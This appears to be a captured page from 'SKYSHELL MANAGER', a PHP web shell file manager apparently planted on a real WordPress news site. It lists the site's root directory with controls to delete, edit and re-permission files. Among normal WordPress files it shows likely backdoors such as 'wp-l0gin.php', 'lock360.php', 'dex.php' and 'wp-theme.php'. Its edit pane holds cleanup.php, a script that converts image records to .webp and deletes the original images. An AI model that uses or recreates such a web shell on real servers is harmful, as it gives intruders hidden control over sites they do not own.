📁
SKYSHELL MANAGER
PHP v8.3.32
Create
Create
Path:
root
/
home
/
nnoticias
/
public_html
/
Name
Size
Perm
Actions
📁
.tmb
-
0777
🗑️
🏷️
🔒
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
3ee10
-
0555
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
d4bf7e
-
0755
🗑️
🏷️
🔒
📁
sap-logs
-
0755
🗑️
🏷️
🔒
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess.bk
2.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess_backup
5.91 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.litespeed_flag
0.29 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
cleanup.php
2.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.53 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
5.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
htaccess.txt
0.81 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
12.78 KB
0555
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
0.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.55 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.25 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.44 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
search.php
1.47 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.18 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
4.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
30.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-theme.php
216.5 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: cleanup.php
<?php require_once('wp-load.php'); global $wpdb; echo "Iniciando escaneo y limpieza profunda (Forzando borrado de JPG/PNG)...\n"; // Obtener todas las imágenes $attachments = $wpdb->get_col("SELECT ID FROM {$wpdb->posts} WHERE post_type='attachment' AND post_mime_type IN ('image/jpeg', 'image/png', 'image/webp')"); $count_db_updated = 0; $count_files_deleted = 0; $freed_bytes = 0; $total = count($attachments); $processed = 0; $uploads = wp_upload_dir(); $base_dir = trailingslashit($uploads['basedir']); foreach ($attachments as $id) { $meta = wp_get_attachment_metadata($id); $current_file = get_attached_file($id); if (!$current_file) continue; // Determinar rutas base asumiendo el patrón archivo.jpg.webp $orig_jpg_path = str_replace('.webp', '', $current_file); $webp_path = $orig_jpg_path . '.webp'; // 1. Forzar actualización de Base de Datos si falta if (file_exists($webp_path) && strpos($current_file, '.webp') === false) { $wpdb->update($wpdb->posts, ['post_mime_type' => 'image/webp'], ['ID' => $id]); update_attached_file($id, $webp_path); if (is_array($meta)) { $meta['file'] = $meta['file'] . '.webp'; if (!empty($meta['sizes'])) { foreach ($meta['sizes'] as $size => $data) { $meta['sizes'][$size]['file'] = str_replace('.webp', '', $data['file']) . '.webp'; $meta['sizes'][$size]['mime-type'] = 'image/webp'; } } wp_update_attachment_metadata($id, $meta); } $count_db_updated++; } // 2. Ejecutar Borrado Físico Implacable // Borrar imagen principal if (file_exists($webp_path) && file_exists($orig_jpg_path)) { $freed_bytes += filesize($orig_jpg_path); unlink($orig_jpg_path); $count_files_deleted++; } // Borrar miniaturas (thumbnails) if (is_array($meta) && !empty($meta['sizes'])) { $rel_dir = dirname(_wp_relative_upload_path($orig_jpg_path)); foreach ($meta['sizes'] as $size => $data) { $base_thumb_name = str_replace('.webp', '', $data['file']); $old_thumb_path = $base_dir . $rel_dir . '/' . $base_thumb_name; $new_thumb_webp = $old_thumb_path . '.webp'; if (file_exists($new_thumb_webp) && file_exists($old_thumb_path)) { $freed_bytes += filesize($old_thumb_path); unlink($old_thumb_path); $count_files_deleted++; } } } $processed++; if ($processed % 1000 == 0) { echo "Procesados $processed de $total archivos...\n"; } } $gb = round($freed_bytes / 1024 / 1024 / 1024, 2); echo "\n¡Limpieza implacable completada!\n"; echo "- Imágenes actualizadas en DB: $count_db_updated\n"; echo "- Archivos físicos .jpg/.png eliminados: $count_files_deleted\n"; echo "- Espacio liberado en disco: $gb GB\n";
Save